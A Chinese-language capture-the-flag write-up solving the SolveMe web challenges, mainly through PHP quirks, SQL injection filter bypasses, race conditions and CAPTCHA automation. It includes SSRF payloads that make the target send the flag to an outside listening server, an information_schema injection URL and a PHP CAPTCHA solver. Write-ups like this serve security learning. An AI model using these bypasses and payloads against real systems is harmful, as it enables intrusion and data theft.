题解
Warm up
1 |
|
直接base64解密就出来了
Bad compare
1 |
|
文字编码导致的问题,字符库里不存在将导致复制出错,应该想办法查看真实的值,可以用burp之类的检查hex,也可以更换编码以便复制,比如更换为韩文编码,提交的时候再把韩文编码一下即可,提供一个小工具
Winter sleep
1 |
|
跟php不同函数特性有关,参考我发的这篇帖子,通过测试可以发现服务器php版本应该是7.0.xx,因而不支持16进制写法,所以可以使用科学记数法绕过。
Thirty six
1 | 59714216653669596140166323768414581512983971077273551022216 |
10进制转36进制即可。不过很多在线进制转换工具的精度不够,我用类似下面的代码处理了
http://blog.csdn.net/liangzhaoyang1/article/details/50927557
http://blog.sina.com.cn/s/blog_956be04001010k83.html
Hard login
1 |
|
其实这题不是代码审计……
原来给出的链接是/prob/hard_login/,点击后有个跳转,跳到/prob/hard_login/login.php,burp拦截跳转,重放即可看到flag
Array2String
1 |
|
php的ord函数,在输入的数字超出范围的情况下,会模掉256然后求余。
Hash collision
1 |
|
提交xxx[]的形式,将提交的参数变为数组,然后赋不同值即可。
GIF89a

给了这么一个文件,根据提示,添加gif头,补全图像信息,用ps打开发现大小不对,有部分像素被隐藏,参照GIF文件格式和文件属性中的像素大小,修改文件的像素。
打开后发现隐藏的数据是一堆图标,可以想到是图标字体库影响,打开PS寻找相应字体,然后一一对应,即可获取flag。
Flag not found

给出了一个flag文件。
下载flag文件,ultraedit打开看到flag.txt字样,怀疑是某种压缩文件,到http://checkfiletype.com/ 检查一下,提示是
File Type: LHa (2.x)/LHark archive data [lh7] - header level 0
google了一圈,的确是个压缩文件,wiki百科上说这个有拓展名lha lzh,改拓展名发现winrar支持,但是无法解压,怀疑是文件末尾被破坏了。
下载7-zip,改拓展名为lh7,可以提取出一个flag.txt(然而只是让我加油……)
……
回到flag.lh7,7-zip显示偏移了62字节,Ultraedit打开发现的确有两个lh7字样,测试发现后者是解压出来的txt,前者应该就是要解码的flag了。
C32查看文件,通过参考链接 ,里面记载了LZH的文件格式。反复调试提取并修复上面的压缩文件,拿到本题flag。
Give me a link
1 |
|
首先用burp fuzz一下能代替下划线的,然后随便选一个,用https://solveme.safflower.kr@service.com/plz%01give%01me这种格式绕过就可以在自己的服务器上看到访问记录了。
Give me a link 2
用ip2long转换一下ip,用上题fuzz出来的结果替换一下划线
得到payload
1 | /?url=https://1869573999:443%2fplz%1fgive%1fme |
就可以在111.111.111.111这台机子上监听443端口,等待发送来的flag即可。
Replace filter
1 |
|
.匹配任意字符但是不匹配换行,而^ $又限定了必须在同一行,因此提交的时候在中间带上换行即可。
Lax CAPTCHA
1 |
|
验证码识别,写了个有点low的识别,没有处理线条,成功率还是有的,运行个十几二十次能跑出来
代码如下
p_function.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
function send($method,$url,$header="",$postcontent=""){
$ch = curl_init();//初始化,创建一个新curl资源
curl_setopt($ch, CURLOPT_URL,$url);//设置url
curl_setopt($ch,CURLOPT_CUSTOMREQUEST,$method);//自定义方式,GET,POST,PUT,DELETE等都可以
curl_setopt($ch, CURLOPT_HTTPHEADER,$header);//自定义http_header
if ($postcontent!=""){
curl_setopt($ch, CURLOPT_POSTFIELDS,$postcontent);
}
curl_setopt($ch, CURLOPT_TIMEOUT, 60);//允许curl执行最大秒数
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // 跳过证书检查
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); //从证书中检查SSL加密算法是否存在
curl_setopt($ch, CURLOPT_HEADER, true);//设置获取返回头
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );//以字符串的形式返回cURL句柄获取的内容
$output = curl_exec($ch);//执行
$headersize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);//获取返回头大小
$header_response = substr($output, 0, $headersize);//截取返回头
$header_response=explode("\r\n",$header_response);
array_pop($header_response);
array_pop($header_response);//弹出两个空行
$output_body=substr($output,$headersize);
foreach ($header_response as $key => $value) {
$t=explode(' ',$value,2);
if(stristr($t[0],'Set-Cookie')){
$CookieT=explode(';',$t[1]);
foreach ($CookieT as $key1 => $value1) {
$ttt=explode('=',$value1,2);
$cookie[$ttt[0]]=$ttt[1];
}
$tt[$t[0]]=$cookie;
}else{
$tt[$t[0]]=$t[1];
}
}
curl_close($ch);//关闭curl,释放资源
$output_array['header_response']=$tt;
$output_array['output_body']=$output_body;//以数组的形式展现,方便输出http返回头和html的body
return $output_array;//返回信息
}
function req_header_format($header){
//$arr=array();
foreach ($header as $key => $value) {
$tmp=explode(' ',$value,2);
if($tmp[0]!=='Cookie:'){
$arr[$tmp[0]]=$tmp[1];
}else{
if(stripos($tmp[1],';')){
$t0=explode(';',$tmp[1]);
foreach ($t0 as $key1 => $value1) {
$t1=explode('=',$value1,2);
$a_cookie[$t1[0]]=$t1[1];
}
}else{
$t0=explode(' ',$value,2);
$t1=explode('=',$t0[1],2);
$a_cookie[$t1[0]]=$t1[1];
}
$arr['Cookie:']=$a_cookie;
}
}
return($arr);
}
function req_header_unformat($format_header){
foreach ($format_header as $key => $value) {
if(!is_array($value)){
$arr[]=$key.' '.$value;
}else{
$t=$key.'';
foreach ($value as $key1 => $value1) {
$t.=' '.$key1.'='.$value1.';';
}
$arr[]=$t;
}
}
return($arr);
}
function send_follow_30x($method,$url,$header,$postcontent){
$a=send($method,$url,$header,$postcontent);
$fm_header=req_header_format($header);
if($a['header_response']['Set-Cookie:']){
if($fm_header['Cookie:']){
foreach ($a['header_response']['Set-Cookie:'] as $key => $value) {
array_unshift($fm_header['Cookie:'], $value);
}
}else{
$fm_header['Cookie:']= $a['header_response']['Set-Cookie:'];
}
}
$header=req_header_unformat($fm_header);
for (;; ) {
if(preg_match('/30\w?\s?Found/',$a['header_response']['HTTP/1.1'])){
$a=send($method,$a['header_response']['Location:'],$header,$postcontent);
}else{
break 1;
}
}
return $a;
}
uvcode.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
header("Content-type: text/txt");
// header("Content-type: image/png");
include 'p_function.php';
$header[]='User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36';
$header[]='Cookie: PHPSESSID=8d7ct91hd4ff6vlv4r2ul1o521';
$content_a=send('GET','http://solveme.safflower.kr/prob/lax_captcha/?generate', $header);
$content=$content_a['output_body'];
$p=addslashes('\'><hr><code><span style="color: #000000">');
preg_match('/<img src=\'data:image\/png;base64,(.+)\'><hr><code><span style="color: #000000">/', $content,$c);
// 获取目标字符
$rimg=imagecreatefromstring(base64_decode($c[1]));
$rcolor=imagecolorat($rimg,0,0);
for($rmx=0;$rmx<15;$rmx++){
for($ry=20;$ry<35;$ry++){
for($rix=0;$rix<15;$rix++){
$rimgc=imagecolorat($rimg,$rix+7+$rmx*30, $ry)===$rcolor?0:1;
// echo $rimgc;
@$rimgc_a[$rmx].=$rimgc;
}
// echo "\n";
}
// echo "\n";
}
// print_r($rimgc_a);
// 获取源字符
for($t=65;$t<=90;$t++){
$im = @imagecreate(15, 15)
or die("Cannot Initialize new GD image stream");
$background_color = imagecolorallocate($im, 255, 255, 255);
imagettftext($im, 15, 0, 0, 15, imagecolorallocate($im,0,0,0), 'arial.ttf', chr($t));
// imagepng($im);
for($iy=0;$iy<15;$iy++){
for($ix=0;$ix<15;$ix++){
$imgc=imagecolorat($im,$ix,$iy)===0?0:1;
// echo $imgc;
@$imgc_a[chr($t)].=$imgc;
}
// echo "\n";
}
// echo "\n";
}
// print_r($imgc_a);
foreach ($rimgc_a as $ordr => $src_xor) {
$res_xor_m_top=0;
foreach ($imgc_a as $ord => $des_xor) {
$res_xor_c=0;
for($i_xor=0;$i_xor<strlen($src_xor);$i_xor++){
@$res_xor=(int)substr($src_xor, $i_xor, 1)^(int)substr($des_xor, $i_xor, 1);
if($res_xor==0)
$res_xor_c++;
@$res_xor_s.=$res_xor;
}
$match_p=$res_xor_c/strlen($src_xor);
if($match_p>$res_xor_m_top){
$res_xor_m_top=$match_p;
$res_m_top=$ord;
}
}
@$res_m.=$res_m_top;
// echo $res_xor_m_top."\n";
}
echo $res_m."\n";
$answer_a=send('GET',"http://solveme.safflower.kr/prob/lax_captcha/?answer=$res_m",$header);
$answer=$answer_a['output_body'];
echo $answer;
修改uvcode.php里的phpsession即可,跑个十几次能跑出来。
Anti SQLi
1 |
|
\\并不能匹配到\,preg匹配时php(似乎)会进行两次转义操作,原先的\\被转义成\,也就是\\|变成了\|,再次转义就会变成字符串|,也就导致\和\xA0无法匹配到,只有提交|%a0才会被匹配到。(适用php所有版本)- and or 都被匹配了,用xor。
- 充当空格的09 0A 0B 0C 0D A0 20都被匹配到了,导致
--注释后面加不上空格,但是--后面使用%10 %01 %11 %02 %12 %03 %13 %04 %14 %05 %15 %06 %16 %07 %17 %08 %18 %19 %1a %1c %1d %1b %0e %1e %0f %1f %7f这些字符,依然能够使注释起作用。 - union select 检测,用union all select 绕过
然后是需要匹配到no=31337,过滤了<>=, 不过其他二元运算符还能用,比如取余和除法,二元运算返回值进行四舍五入后不为0,相当于返回为真。
之前antisqli那题的sql服务挂了,所以没做,也不知道里面的数据长什么样。原来以为数据表里有no为31337的记录,结果测试发现只有no=1和no=2的记录,因此需要自己构造数据,上面这条划掉的权当参考,在其他题目中可能有帮助
Name check
之前没做,觉得是SQLite的注入,做题会费劲,后来看了别人的解之后才发现不难。
稍微要看懂的是SQLite的语句
1 | SELECT |
其中MAX('0','1','{$name}') LIKE 'a%',,取 0 1 和name中最大值,当以a开头时语句为真,返回1。SQLite手册 MAX
INSTR('{$name}','d')>0,用于寻找name中是否存在d,存在则返回1,然后1>0成立,再返回1。SQLite手册 INSTR
MIN('{$name}','b','c') LIKE '__m__',用于寻找name b c中的最小值,以name的第一个字符与b c排序,再要求符合m这样的格式。
SUBSTR('{$name}',-2)='in'要求最后两个字符为in。
然后以上四者都要成立,则就是要求字符是admin了,但是正则过滤了/admin|--|;|\(\)|\/\*|\\0/i。那么可以用||连接字符,php检测不到,而SQLite可执行。
大概长这样
1 | http://namecheck.solveme.peng.kr/?name=a%27||%27dmin |
I am slowly
1 |
|
这题有个条件竞争的问题。
程序流程为
sql查询count => 执行sql语句 => update count
可以想到,在“查询count”和“update count”之间,实际上有个时间差,而通过注入sleep可以加大这个时间差。
而只要count != 12就不会重置数据表。
- 因此只要通过线程并发,即可绕过查询次数限制。
- 由于程序自带随机sleep 1-10s,因此在查询正确的结果上再多sleep 10s即可。
正如题名,解这题非常的耗时间,程序可能需要跑很久……
补充一句,dnslog用不了,否则dnslog应该是最好且最快速的解决方法。
另外在官方wp区看到另外一个解,利用了information_schema.processlist这个表。1
http://iamslowly.thinkout.rf.gd/?answer=a%27+union+select+substr(info,66,85),2+from+information_schema.processlist+where+%271%27=%271&i=1
URL filtering
1 |
|
非官方wp
在这题绕了很久,以为函数是没有问题的,又是fuzz又是各种构造,然后才从函数入手。
问题在于parse_url,手册提到了一点,对于file协议,允许匹配三个斜杠,而对于其他协议则不允许,也就是说,不规范的URL将导致$url_query为空,成功绕过下面的判断代码。
官方wp
上面的做法并没有将可疑的$url = urldecode($_SERVER['REQUEST_URI']);这一句用上,因为像这样重新进行解码,将会导致如?a%3d1变成?a=1,再通过自定义流程,变成参数a及值1,而实际上只有一个参数a%3d1。
与上面处理方式相同的地方在于,官方给出的wp也是通过改变$url_query来达到目的:由于RFC规范一个url的格式为形如http://username:password@hostname/path?arg=value#anchor这样的,问号后面的为query_string,即查询语句,而#后面的则是fragment,用于id选择,而代码中parse_url一句明确选择了query部分,代码中多余的一步urldecode操作正是为注入成为fragment提供了契机。
Hell JS
核心代码是jsfuck编码后的,太长就不贴了。
将js复制到开发者工具console进行调试,切换到source模式开启暂停,在弹窗里随便输,然后持续跟进代码。
然后可以看到进行了字符串比较,flag到手
另一解法
jsfuck编码后的代码,可以试试将整个代码最后一个()改成.toString(),如1
2[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]).toString()
'function anonymous() {\nalert(1)\n}'
Cheap lottery
游戏规则是这样,去买票,然后等60秒后刷新一下页面,数据库里会有一个admin的票和你的票,相等则拿到flag
则需要进行注入,特殊符号都没有过滤,但是过滤了=[] 和所有字母,字母可以用 collation 绕过,另外似乎还有一个mysql查找顺序的问题。
这个问题p师傅有提到过,见Mysql字符编码利用技巧。
因此可以通过注入,创建另一个ip的admin和guest的表,然后用另一个ip访问。
应该也可以通过注入,复制admin的票到guest。
Check via eval
过滤了一些字符,可以用<?=$a;?>的形式输出变量$a,另外通过$a{0}='z'的形式设置$a的第一个字符为z。
1 | http://checkviaeval.solveme.peng.kr/?flag=$a=;$a{3}=;??=$$a?;11111111111111111; |
Super secure hash
代码如下
1 |
|
可以很清楚的看到
1 | function super_secure_hash($text){ |
这个函数,用了crc32作为其中一环的密码处理,因此对应的sha1值是可解的,那么就可以想办法找到对于的值。
users.json如下
1 | [{"username":"admin","password":"G19qLfSByRqrTRS8in1qT\/CWvnc="},{"username":"guest","password":"vANiIasnT\/+9Z5eyvy6H0BMjTgw="}] |
可以爆破。不过最后用谷歌搜了一下,明文是artplanevent
